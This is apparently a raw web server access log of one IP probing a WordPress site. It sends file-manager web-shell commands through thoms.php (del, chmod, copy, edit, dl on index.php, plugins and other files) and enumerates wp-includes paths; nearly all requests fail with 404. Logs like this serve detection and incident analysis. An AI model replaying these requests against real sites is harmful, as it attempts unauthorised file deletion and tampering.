45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Ftemp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Ftemp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fupgrade-temp-backup&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fupgrade-temp-backup&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?del=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?chmod=languages&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=languages&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /ba-guo.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/ba-guo.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /ba-guo.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /ba-guo.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/ba-guo.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Findex.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Findex.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?dl=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:29 -0400] "GET /ba-guo.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /ba-guo.com.tw/wp-content/upgrade-temp-backup/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /ba-guo.com.tw/wp-content/temp-write-test-6a030642b5ea56-74189484 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /ba-guo.com.tw/wp-content/uploads/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?chmod=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=temp-write-test-6a030642b5ea56-74189484&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?chmod=upgrade-temp-backup&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade-temp-backup&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?chmod=uploads&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?del=mu-plugins&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /ba-guo.com.tw/wp-content/upgrade/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?del=upgrade&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=upgrade&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fupgrade-temp-backup HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-content%2Fupgrade-temp-backup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:30 -0400] "GET /thoms.php?del=languages&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=languages&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?chmod=plugins&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/cgi-bin/?ND= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/cgi-bin/?MA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/cgi-bin/?SA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?del=plugins&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?edit=license.txt&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?edit=wp-signup.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /thoms.php?edit=wp-signup.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-signup.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/pomo/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:31 -0400] "GET /ba-guo.com.tw/wp-includes/default-filters.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:32 -0400] "GET /ba-guo.com.tw/wp-includes/rewrite.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:32 -0400] "GET /ba-guo.com.tw/wp-includes/?ND= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:32 -0400] "GET /ba-guo.com.tw/wp-includes/php-compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:32 -0400] "GET /ba-guo.com.tw/wp-includes/block-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-pop3.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/sodium_compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:33 -0400] "GET /ba-guo.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/l10n.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/style-engine.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/view-transitions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:34 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/connectors.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/feed-rss.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/ms-settings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/plugin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/block-patterns.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:35 -0400] "GET /ba-guo.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:36 -0400] "GET /ba-guo.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
